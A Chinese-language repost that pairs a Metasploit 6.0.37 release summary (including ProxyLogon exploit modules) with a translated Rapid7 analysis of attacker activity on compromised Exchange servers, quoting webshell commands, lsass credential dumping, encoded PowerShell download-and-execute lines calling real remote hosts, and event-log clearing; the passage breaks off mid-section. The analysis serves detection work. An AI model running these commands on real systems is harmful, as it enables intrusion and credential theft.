• 更新nexpose_connect登录功能，以正确处理密码中的@符号。

• 这改进了ProxyLogon RCE模块，解决了有效载荷运行两次的问题。

• 修复了Python Meterpreter的DNS解析功能中的一个错误。

如何获取最新版本

阅读原文

跳转微信打开

Metasploit最新资讯！！新模块*7，功能更新*5，BUG修复*10~

新模块（7）

Microsoft Exchange ProxyLogon:由GreyOrder，Orange Tsai和mekhalleh（RAMELLASébastien）为其添加了3个模块，这些模块利用了3月带外安全更新中修补的两个Microsoft Exchange Server漏洞：

• 一个扫描器模块，用于检查目标是否易受服务器端请求伪造（SSRF）攻击，识别为CVE-2021-26855。

• 一种辅助模块，用于转储给定电子邮件地址的邮箱，包括电子邮件、附件和联系信息。此模块利用与CVE-2021-26855相同的SSRF漏洞。

• 利用Microsoft Exchange服务器上未经身份验证的远程代码执行的exploit模块。这允许作为系统用户执行任意命令，利用相同的SSRF漏洞(识别为CVE-2021-26855)和认证后任意文件写入漏洞(识别为CVE-2021-27065)。

其影响的版本：

Exchange 2013Versions < 15.00.1497.012

Exchange 2016CU18 < 15.01.2106.013

Exchange 2016CU19 < 15.01.2176.009

Exchange 2019CU7 < 15.02.0721.013

Exchange 2019CU8 < 15.02.0792.010

VMware View Planner Unauthenticated Log File Upload RCE：由wvu、Grant Willcox和MikhailKlyuchnikov利用CVE-2021-21978（VMWareView Planner Harness 4.6安全修补程序1之前版本中存在的任意文件上载漏洞）执行。

Advantech iView Unauthenticated Remote Code Execution：由wvu和Spencer McIntyre利用CVE-2021-22652对Advantech iView进行未经身份验证的远程执行代码，该漏洞利用CVE-2021-22652，此模块利用未经身份验证的配置更改漏洞，并结合未经身份验证的文件写入原语，导致任意文件写入，允许以运行iView（通常为NT AUTHORITY\SYSTEM）的用户身份远程执行代码。利用漏洞的功能是首先在webroot中将EXPORTPATH修改为可写路径。然后利用导出函数将JSP内容写入先前配置的路径，然后可以请求该路径来触发应用程序上下文中OS命令的执行。完成后，将恢复原始配置值。

FortiLogger Arbitrary File Upload Exploit：由Berkan Er开发，为CVE-2021-3378添加了一个漏洞利用模块。此模块利用通过未经验证的POST请求上传到Fortigger 4.4.2.2热点设置的“/Config/SaveUploadedHotspotLogoFile”上传路径的任意文件。Fortigogger是一款基于web的日志记录和报告软件，专为运行在Windows操作系统上的FortiGate防火墙而设计。它包含即时状态跟踪、日志记录、搜索/过滤、报告和热点等功能。

Win32k ConsoleControl Offset Confusion：由BITTERAPT、JinQuan、KaLendsi、LiHao、MaDongZe、SpencerMcIntyre和TuXiaoYi开发，其利用了win32k中的LPE漏洞CVE-2021-1732。

功能更新（5）

更新1：最近引入的Zeitwerk加载器现在以更灵活的方式封装和保留。此外lib /msf_autoload.rb现在被标记为一个单例类，以确保加载器的一个实例在任何时候都只能存在。加载过程也被分解成不同的方法，以允许额外的调整、扩展和抑制。

更新2：avast_memory_dump.rb已经更新了附加路径以检查avdump.exe实用程序，在该工具与标准AV解决方案以外的其他Avast软件捆绑在一起的情况下，该工具应能帮助Metasploit用户。

更新3：搜索命令已经更新，可以添加-s和-r标志。-s标志允许您按等级，公开日期，模块名称，模块类型或模块是否实现检查方法进行搜索。结果将以升序排列，但是用户可以使用-r标志以降序显示结果。

更新4：重写了tools / exploits / *下的Ruby脚本，以便它们捕获信号并方便地处理它们，而不是堆栈跟踪。

更新5：time命令被添加到msfconsole中，以允许开发人员计算执行某些命令所需的时间。

BUG修复（10）

• 在尝试在没有 DB 连接的情况下使用 UUID 跟踪时向用户提供反馈。

• 替换弃用的::Rex:Socket.gethostbyname用途， 以有利于较新的::Rex::Socket.getaddress功能，以支持Ruby 3。

• 将on_session_open事件移动到会话启动之后，这是公开auto_add_route等插件所需的一些功能所必需的。

• The ssh_login_pubkey。rb模块已经更新，以支持为KEY_PATH选项指定私钥的路径，并在几个地方改进错误，以减少堆栈跟踪并使错误消息更容易理解。

• apache_activemq_upload_jsp漏洞已经更新，可以成功利用运行Java8的脆弱系统。此外，还添加了模块文档。

• filezilla_client_cred。对rb进行了更新，以防止它错误地将字符串识别为Base64编码的，而实际上它们不是。现在，在尝试解码字符串之前，新代码将检查该字符串是否已标记为Base64编码。

• netgear_r6700_pass_reset。rb模块已更新，以修复可能偶尔导致检查函数失败的输出错误，并修复因在nil对象上调用方法而导致的堆栈跟踪。

• 修复了msfconsole的搜索命令在搜索词是特定的单字母查询时高亮显示会中断的错误。

• 修复了在Meterpreter中下载命令如果在包含UTF-8字符的目录上运行，将导致错误。

  
  

彩蛋：哈哈最新版的metasploit的进入图标现在是小马宝莉哦！！！会渗透的女孩子一定很可爱吧！！！

               

如何获取最新版本

• Pull Requests 6.0.36...6.0.37(https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-18T09%3A30%3A28-05%3A00..2021-03-25T11%3A07%3A15-05%3A00%22 )

• Full diff 6.0.36...6.0.37 (https://github.com/rapid7/metasploit-framework/compare/6.0.36...6.0.37)

阅读原文

跳转微信打开

微软Exchange漏洞攻击者行为分析

最近几周，想必大家都有听过有关于HAFNIUM组织攻击利用Microsoft’s Exchange Server漏洞的报道。这些漏洞的反响如此广范主要原因之一是因为，它们允许攻击者直接从公共互联网进入到受害者系统，接管受害主机的SYSTEM权限用户并执行操作。

由于此服务在默认情况下以最高级别的权限运行，因此应该对其进行加固并接收其他级别的管控。这种默认配置没有使用最小特权的原则，并且由于创建这些web应用程序的目的是向公共internet公开，并且不受诸如网络访问控制列表之类的其他基本方法的保护，因此会变得更加危险。除此之外，这些易受攻击的服务器还提供内部整个组织大量用户哈希/密码和电子邮件收件箱内容的直接访问途径。这通常也是攻击者在受害者环境中追求的最直接的方法之一。

虽然公布了一些已被利用的系统报告，为一部分人敲响了警钟，但在信息安全行业中，这种apt事件已经被许多人“盯梢”了多年。不同类型的攻击者都在频繁地寻求利用受害者向公共互联网提供的网络服务。通常，这些服务位于各种边缘设备上，这些设备是专门设计用来放置并向公共internet公开的。这可能会带来许多挑战，因为这些边界业务可能是设备、防火墙或不支持运行额外的安全相关软件(如端点检测和响应)的其他设备。这些设备通常也不属于标准的补丁管理系统。据Rapid7了解，现在从漏洞披露到产生可大规模利用的漏洞工具的速度有所提高，这使得受害者几乎没有时间测试和部署补丁，且受害者也不能随时对提供关键任务服务的系统进行变更控制。

在过去的几年中，Rapid7观察到一些不同的攻击者试图快速直接访问受害者的系统，以收集密码、执行加密劫持、分发勒索软件和/或窃取数据。攻击者通常会将目标锁定在组织的特定高级成员或员工的邮箱中，研究他们感兴趣且敏感的主题内容上。这些攻击者用来获得受害人信息的最简单的方法是通过远程桌面协议向公共internet提供远程访问服务的系统进行简单的密码喷射攻击。更“机智”的攻击者利则用了像Citrix Netscaler、Progress公司的Telerik和Pulse Secure公司的Pulse Connect Secure等最近出现的漏洞，仅做举例。

虽然对于如何进入受害者的网络的方法可能不同，从互联网可访问服务的各种攻击类型到网络钓鱼，同一种攻击方式攻击者可以保持多年内不变。原因是，在受害者的系统内本身存在的缺陷很少有人认真关注，它们一直对攻击者非常有效。继续采用使用操作系统中预先存在的实用程序的“就地生存”技术，使得防病毒或应用程序控制都不太可能捕捉和阻拦攻击者。此外，对于攻击者来说，这还可以释放或减少对开发漏洞利用程序和工具集的技术资源的需求。

因为攻击者的动作和行为可以长时间维持不变,Rapid7威胁情报和检测工程(TIDE)团队不断与我们的检测和响应管理安全操作中心以及事件响应团队持续合作，以开发和更新我们InsightIDR对攻击者的行为分析,确保所有的客户可及时了解攻击者采用的最新的策略,技术和程序。这使无论攻击者是否利用的是未知漏洞，我们的客户都可以收到有关攻击者行为的警报，并确保他们的业务安全。

最后，非常重要的是不要单纯的以为只有一个攻击者在利用这些新的漏洞。很有可能它是个“多人运动”在同时利用相同的弱点，并伴随有各种不同类型的后续渗透。在没有确凿证据的情况下，宣称它们之间存在联系充其量也只是是一种推测。

Tips：以低权限帐户运行是一种很好的安全做法，因为这样一来，恶意用户就不能利用软件漏洞来接管整个系统。

HAFNIUM都干了啥

过使用我们现有的检测，Rapid7观察到有攻击者使用China Chopper 攻击了9个不同的受害者，其中包括制造业、医疗保健、公用事业提供商等。这种攻击行为与HAFNIUM的行为有很大重叠，Rapid7的Insight Agent从2021年2月27日至2021年3月7日收集的数据中就观察到了这种行为。应该注意的是，攻击者使用客户端通过ChinaChopper 生成过程的方式至少自2013年以来几乎没有改变。这些命令行参数非常明显，在包含命令行参数的日志中很容易找到。这意味着根据这些模式开发的检测有可能有效寿命长达十年以上。

Base64-decoded parameters z1 and z2：z1=cmdz2=cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]

资料来源：

https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf

Rapid7基于此攻击者行为的审查开发了其他检测方法。我们注意到，默认情况下，当为Microsoft Exchange的Outlook Web Access配置IIS时，它有一个环境变量的值将设置为：

APP_POOL_ID=MSExchangeOWAAppPool

有了这些资料，再通过InsightAgent收集这些数据，并且能够使用InsightIDR的攻击者行为分析对其进行评估，TIDE团队能够编写一个检测模块，在执行任何进程时，只要子进程或父进程的环境变量和值与之匹配，就可以进行匹配告警。这使得我们不仅可以找到已知的China Chopper的用途，还可以找到其他几个攻击者是如何使用不同的技术利用此漏洞的。

攻击者使用ChinaChopper对lsass.exe进程执行MicrosoftSysinternals实用程序procdump64.exe，将其内存内容复制到磁盘上的文件中。这使攻击者以后可以使用诸如mimikatz之类的实用程序来检索和分析此内存转储，以从此过程的内存转储中提取密码。如果未采用双因素身份验证，则此攻击者有可能在以后的时间内再次使用这些受害者电子邮件帐户中的帐户信息。此外，即使在这些受害者位置实施了合理的密码更改策略，用户也经常会以可预测的方式轮换使用密码。例如，如果用户的密码为“ ThisIsMyPassword1！”，则在被迫更改时，他们可能只会将末尾的数字递增为“ ThisIsMyPassword2！”。这使攻击者可以轻松地根据人类行为的可预测性猜测未来的密码。

通过Rapid7的观察发现HAFNIUM执行过以下代码：

Procudmp.exe程序通过China Chopper webshell执行的命令，用于写入lsass.exe文件进程到磁盘：

cmd /c cd /d C:\\root&procdump64.exe -accepteula -ma lsass.exe lsass.dmp&echo [S]&cd&echo [E]cmd /c cd /d E:\\logs&procdump64.exe -accepteula -ma lsass.exe lsass.dmp&echo [S]&cd&echo [E]

通过China Chopperwebshell执行侦察命令，以收集有关Active Directory域控制器、用户、系统和进程的信息：

cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&HOSTNAME" & nltest /dclist:<REDACTED_DOMAIN>&echo [S]&cd&echo [E]cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&nltest" /dclist:<REDACTED_DOMAIN>&echo [S]&cd&echo [E]cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&HOSTNAME" & whoami & nltest /dclist:<REDACTED_DOMAIN>&echo [S]&cd&echo [E]cmd /c cd /d c:\\temp&tasklist&echo [S]&cd&echo [E]cmd /c cd /d E:\\logs&tasklist &echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&net group "Domain computers" /do&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&tasklist /v&echo [S]&cd&echo [E]

进一步列举关于受害者系统中特定进程信息。进程smex_master.exe来自趋势科技的ScanMail, unsecapp.exe来自Microsoft Windows。

cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&wmic process where name=smex_master.exe get ExecutablePath,commandline&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&wmic process where name=unsecapp.exe get ExecutablePath&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&wmic process where name=unsecapp.exe get processid&echo [S]&cd&echo [E]

使用通过ChinaChopper 执行的net.exe命令删除ActiveDirectory中的组：

cmd /c cd /d C:\\inetpub\\wwwroot\\aspnet_client\\system_web&net group "Exchange Organization administrators" administrator /del /domain&echo [S]&cd&echo [E]

通过China Chopper 执行网络连接检查和/或出口IP地址枚举命令：

cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&ping" -n 1 <REDACTED_HOSTNAME>&echo [S]&cd&echo [E]cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&ping" -n 1 <REDACTED_HOSTNAME>&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot&ping -n 1 8.8.8.8&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&c:\windows\temp\curl.exe -m 10 ipinfo.io&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&c:\windows\temp\curl.exe -vv -k -m 10 https://www.google.com > C:\windows\temp\b.log 2>&1&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&ping -n 1 ipinfo.io&echo [S]&cd&echo [E]cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&ping -n 1 www.google.com&echo [S]&cd&echo [E]cmd /c cd /d c:\\temp&ping www.google.com&echo [S]&cd&echo [E]

通过China Chopper 执行的第二阶段有效载荷检索命令：

cmd /c cd /d C:\\inetpub\\wwwroot\\aspnet_client&msiexec /q /i http://103.212.223.210:9900/nvidia.msi&echo [S]&cd&echo [E]

通过China Chopperwebshell执行的文件系统交互命令，用于搜索文件内容、隐藏和删除文件：

\cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&findstr Request "\\<REDACTED_HOSTNAME>\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ErrorFF.aspx&echo" [S]&cd&echo [E]cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&attrib +h +s +r OutlookEN.aspx&echo [S]cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&attrib +h +s +r TimeoutLogout.aspx&echo [S]cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&del 'E:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookEN.aspx'&echo [S]cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&del 'E:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\TimeoutLogout.aspx'&echo [S]

InsightIDR攻击者行为分析可检测此攻击者的活动：

• 可疑进程-Outlook Web Access生成的进程

• 攻击者技术-Net命令删除Exchange管理组

• 攻击者工具-China Chopper Webshell执行命令

• 攻击者技术-针对LSASS使用ProcDump

  
  

  
  

在与HAFNIUM有关的活动中观察到的MITRE ATT&CK 技术

• T1003 - 操作系统凭据倾销

  https://attack.mitre.org/techniques/T1003/

• T1003.001 - 操作系统凭据倾销：LSASS 内存https://attack.mitre.org/techniques/T1003/001/

• T1005 - 来自本地系统的数据

  https://attack.mitre.org/techniques/T1005/

• T1007 - 系统服务发现

  https://attack.mitre.org/techniques/T1007/

• T1033 - 系统所有者/用户发现

  https://attack.mitre.org/techniques/T1033/

• T1041 - 通过 C2 通道进行渗透

  https://attack.mitre.org/techniques/T1041/

• T1047 - 窗口管理仪器

  https://attack.mitre.org/techniques/T1047/

• T1057 - 过程发现

  https://attack.mitre.org/techniques/T1057/

• T1059 - 命令和脚本口译员

  https://attack.mitre.org/techniques/T1059/

• T1059.003 - 命令和脚本口译员：视窗命令外壳https://attack.mitre.org/techniques/T1059/003/

• T1071 - 应用层协议

  https://attack.mitre.org/techniques/T1071/

• T1071.001 - 应用层协议：Web 协议

  https://attack.mitre.org/techniques/T1071/001/

• T1074 - 数据分阶段

  https://attack.mitre.org/techniques/T1074/

• T1074.001 - 数据分阶段：本地数据分期https://attack.mitre.org/techniques/T1074/001/

• T1083 - 文件和目录发现

  https://attack.mitre.org/techniques/T1083/

• T1087 - 帐户发现

  https://attack.mitre.org/techniques/T1087/

• T1087.001 - 帐户发现：本地帐户

  https://attack.mitre.org/techniques/T1087/001/

• T1087.002 - 帐户发现：域名帐户

  https://attack.mitre.org/techniques/T1087/002/

• T1098 - 帐户操作

  https://attack.mitre.org/techniques/T1098/

• T1105 - 入口工具传输

  https://attack.mitre.org/techniques/T1105/

• T1190 - 利用面向公众的应用程序

  https://attack.mitre.org/techniques/T1190/

• T1203 - 开发客户执行

  https://attack.mitre.org/techniques/T1203/

• T1218 - 已签名的二进制代理执行

  https://attack.mitre.org/techniques/T1218/

• T1218.007 - 已签名的二进制代理执行：Msiexec

  https://attack.mitre.org/techniques/T1218/007/

• T1505 - 服务器软件组件

  https://attack.mitre.org/techniques/T1505/

• T1505.003 - 服务器软件组件：网络壳

  https://attack.mitre.org/techniques/T1505/003/

• T1518 - 软件发现

  https://attack.mitre.org/techniques/T1518/

• T1518.001 - 软件发现：安全软件发现

  https://attack.mitre.org/techniques/T1518/001/

• T1531 - 帐户访问删除

  https://attack.mitre.org/techniques/T1531/

• T1583 - 获取基础设施

  https://attack.mitre.org/techniques/T1583/

• T1583.003 - 获取基础设施：虚拟专用服务器https://attack.mitre.org/techniques/T1583/003/

• T1587 - 开发功能

  https://attack.mitre.org/techniques/T1587/

• T1587.001 - 开发功能：恶意软件

  https://attack.mitre.org/techniques/T1587/001/

• T1587.004 - 开发功能：漏洞

  https://attack.mitre.org/techniques/T1587/004/

• T1588 - 获取功能

  https://attack.mitre.org/techniques/T1588/

• T1588.001 - 获取功能：恶意软件

  https://attack.mitre.org/techniques/T1588/001/

• T1588.002 - 获取功能：工具

  https://attack.mitre.org/techniques/T1588/002/

• T1588.005 - 获取功能：漏洞

  https://attack.mitre.org/techniques/T1588/005/

• T1588.006 - 获取功能：漏洞

  https://attack.mitre.org/techniques/T1588/006/

• T1595 - 主动扫描

  https://attack.mitre.org/techniques/T1595/

• T1595.001 - 主动扫描：扫描 IP 块

  https://attack.mitre.org/techniques/T1595/001/

• T1595.002 - 主动扫描：漏洞扫描

• https://attack.mitre.org/techniques/T1595/002/

于HAFNIUM不相关的活动

Rapid7 还观察到除HAFNIUM之外的部分攻击者在最近几周对这些Exchange漏洞进行了其他几种不同类型后渗透攻击尝试。我们已将这些命令分组，并将会被执行的独特类型的命令提炼到如下所示的各个部分中。

Minidump 和 Makecab 攻击

发现此攻击者上传批量脚本来执行 Microsoft 实用程序 dsquery .exe以列举活动目录域中的所有用户。攻击者还可能将comsvcs.dll中的Minidump功能与rundll32.exe一起使用 以便将lsass.exe进程的内存写入磁盘。然后，攻击者使用现有的Microsoft实用程序makecab.exe压缩内存转储，以更有效地进行检索。总体而言，该攻击者在对受害者进行数据收集的过程中所利用的方法与其他报道该行为者的报告中讨论的数据相似，现将这些行为统称为HAFNIUM。但是，因为其所使用的工具、技术差异很大，因此如果没有其他引人注目的链接，就无法轻易将其归因于同一攻击者。

C:\Windows\System32\cmd.exe /c c:\inetpub\wwwroot\aspnet_client\test.batC:\Windows\System32\cmd.exe /c c:\inetpub\wwwroot\aspnet_client\test.batdsquery * -limit 0 -filter objectCategory=person -attr * -ucopowershell rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 900 c:\inetpub\wwwroot\aspnet_client\<REDACTED_33_CHARACTER_STRING>.tmp.dmp fullmakecab c:\inetpub\wwwroot\aspnet_client\<REDACTED_33_CHARACTER_STRING>.tmp.dmp c:\inetpub\wwwroot\aspnet_client\<REDACTED_33_CHARACTER_STRING>.dmp.zipmakecab c:\inetpub\wwwroot\aspnet_client\<REDACTED_33_CHARACTER_STRING>.tmp c:\inetpub\wwwroot\aspnet_client\<REDACTED_33_CHARACTER_STRING>.dmp.zip

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook WebAccess产生的进程

• 攻击者技术-通过COM Services DLL的Minidump

  
  

恶意DLL攻击

到该攻击者通过rundll32.exe上传和执行DLL，并将输出重定向到文本文件。人们相信demo.dll文件具有与mimikatz或其他哈希/密码转储实用程序类似的功能。攻击者还利用net，netstat和tasklist实用程序以及klist来显示缓存的Kerberos票证。这再次与HAFNIUM收集的数据类型有些重叠，但是这样做的方法不同。另外，这是攻击者通常都会采取的操作。

c:\windows\system32\cmd.exe /c tasklisttasklistc:\windows\system32\cmd.exe /c net time /donet time /doc:\windows\system32\cmd.exe /c rundll32 c:\programdata\demo.dll,run -lm > c:\programdata\1.txtrundll32 c:\programdata\demo.dll,run -lm > c:\programdata\1.txtc:\windows\system32\cmd.exe /c klistc:\windows\system32\cmd.exe /c tasklisttasklistc:\windows\system32\cmd.exe /c netstat -anonetstat -ano

InsightIDR攻击者行为分析检测这个攻击者的活动:

• 可疑进程-Outlook Web Access产生的进程

Opera浏览器和Cobalt Strike攻击

这个攻击者通过Microsoft的BITSAdmin下载脚本。然后，这些脚本将执行经过编码的PowerShell命令，检索可以匹配Opera浏览器最新版本漏洞的DLL (CVE-2018-18913)。攻击者还会检索恶意的dll和其他文件，并将其与合法的Opera_browser.exe文件放置在同一目录中以进行执行。然后，这会将恶意代码加载到与浏览器位于同一目录中的DLL中。最终再执行Cobalt Strike（攻击者分发勒索软件最常用的工具）。

C:\Windows\System32\bitsadmin.exe /rawreturn /transfer getfile http://89.34.111.11/3.avi c:\Users\public\2.batC:\Windows\System32\cmd.exe /c c:\Users\public\2.batpowershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAGMAbwBkAGUAJwAsACcAQwA6AFwAdQBzAGUAcgBzAFwAcAB1AGIAbABpAGMAXABvAHAAZQByAGEAXABjAG8AZABlACcAKQA=powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBwAG4AZwAnACwAJwBDADoAXAB1AHMAZQByAHMAXABwAHUAYgBsAGkAYwBcAG8AcABlAHIAYQBcAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBwAG4AZwAnACkApowershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBkAGwAbAAnACwAJwBDADoAXAB1AHMAZQByAHMAXABwAHUAYgBsAGkAYwBcAG8AcABlAHIAYQBcAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBkAGwAbAAnACkAmsiexec.exe -kpowershell Start-Sleep -Seconds 10cmd /c C:\\users\\public\\opera\\opera_browser.exeC:\\users\\public\\opera\\opera_browser.exepowershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA4ADYALgAxADAANQAuADEAOAAuADEAMQA2AC8AbgBlAHcAcwAvAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAnACwAJwBDADoAXAB1AHMAZQByAHMAXABwAHUAYgBsAGkAYwBcAG8AcABlAHIAYQBcAG8AcABlAHIAYQBfAGIAcgBvAHcAcwBlAHIALgBlAHgAZQAnACkA

(new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/code','C:\users\public\opera\code')(new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/opera_browser.png','C:\users\public\opera\opera_browser.png')(new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/opera_browser.dll','C:\users\public\opera\opera_browser.dll')(new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/opera_browser.exe','C:\users\public\opera\opera_browser.exe')

用于检测此攻击者活动的InsightIDR攻击者行为分析： 

• 可疑进程-Outlook Web Access产生的进程

• 攻击者技术-使用后台智能传输服务下载并执行

• 攻击者技术-URL传递给BitsAdmin

  
  

Six-character的webshell攻击

    发现此攻击者上载了webshell并将其复制到webroot中的其他位置。

cmd /c copy C:\inetpub\wwwroot\aspnet_client\discover.aspx "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<REDACTED_6_CHARACTER_STRING>.aspx"

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook Web Access产生的进程

从攻击源下载已编码的PowerShell

    发现攻击者正在执行编码的PowerShell命令，该命令将从远程位置下载恶意软件。还会执行getmac.exe实用程序以枚举有关网络适配器的信息。

cmd.exe /c powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AGUAJwApAA==C:\Windows\system32\getmac.exe /FO CSV

传递给PowerShell的Base64解码的字符串：

IEX (New-Object Net.WebClient).downloadstring('http://p.estonine.com/p?e')

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook Web Access产生的进程

• 攻击者技术-PowerShell下载

Ten-character的webshell攻击

    发现此攻击者正在上载webshell，使用icacls将webroot的目录权限设置为递归只读。此外，攻击者使用attrib.exe实用工具将包含Web Shell的文件设置标记为隐藏，并设置系统更加难以查找这些文件。

C:\Windows\System32\cmd.exe /c move "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\error.aspx" "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<REDACTED_10_CHARACTER_STRING>.aspx"C:\Windows\System32\cmd.exe /c icacls "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth" /inheritance:r /grant:r Everyone:(OI)(CI)RC:\Windows\System32\cmd.exe /c =attrib "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<REDACTED_10_CHARACTER_STRING>.aspx" +s +hattrib "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<REDACTED_10_CHARACTER_STRING>.aspx" +s +hC:\Windows\System32\cmd.exe /c icacls "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth" /inheritance:r /grant:r Everyone:(OI)(CI)R

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook Web Access产生的进程

• 攻击者技术-修改Exchange Webroot中的文件

  
  

7zip和NetSupport Manager攻击

该攻击者使用了7zip压缩实用程序（重命名为MonitoringLog.exe）和NetSupport Manager远程访问工具（client32.exe）。这些实用程序很可能由PowerShell脚本script1.ps1检索，并位于名为Service.Information.rtf的受密码保护的存档中。提取后，将执行以下实用程序：

c:\windows\system32\cmd.exe dir C:\Programdata\c:\windows\system32\cmd.exe /c powershell C:\Programdata\script1.ps1powershell C:\Programdata\script1.ps1C:\ProgramData\MonitoringLog.exe x -p<REDACTED_STRING> -y C:\ProgramData\Service.Information.rtf -oC:\ProgramDataping -n 10 127.0.0.1c:\windows\system32\cmd.exe /c C:\Programdata\MonitoringLog.cmdtaskkill /Im rundll32.exe /FC:\ProgramData\NetConnections\client32.exeping -n 10 127.0.0.1taskkill /Im rundll32.exe /Fc:\windows\system32\cmd.exe /c tasklist /vtasklist /v

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook Web Access产生的进程

事件日志删除和虚拟目录创建攻击

    该攻击者使用Microsoft实用程序appcmd.exe在现有Webroot中创建了虚拟目录，然后使用wevtutl.exe清除了系统上的所有事件日志：

CMD C:\Windows\System32\inetsrv\appcmd.exe add vdir "/app.name:Default Web Site/" "/path:/owa/auth/ /zfwqn" /physicalPath:C:\ProgramData\COM\zfwqn
CMD /c for /f %x in ('wevtutil el') do wevtutil cl %xwevtutil elwevtutil cl <REDACTED_ALL_DIFFERENT_EVENT_LOGS>

用于检测此攻击者活动的InsightIDR攻击者行为分析：

• 可疑进程-Outlook Web Access产生的进程

• 攻击者技术-使用WEvtUtil清除事件日志

Webshell枚举攻击

发现攻击者正在执行编码的PowerShell命令，以使用type命令查看HAFNIUM和其他攻击者使用的名为Outlooken.aspx的可能的Webshell文件的内容。这可能是希望利用其他攻击者甚至研究人员在利用这些漏洞所建立的“后门程序”，简称前人栽树后人乘凉：

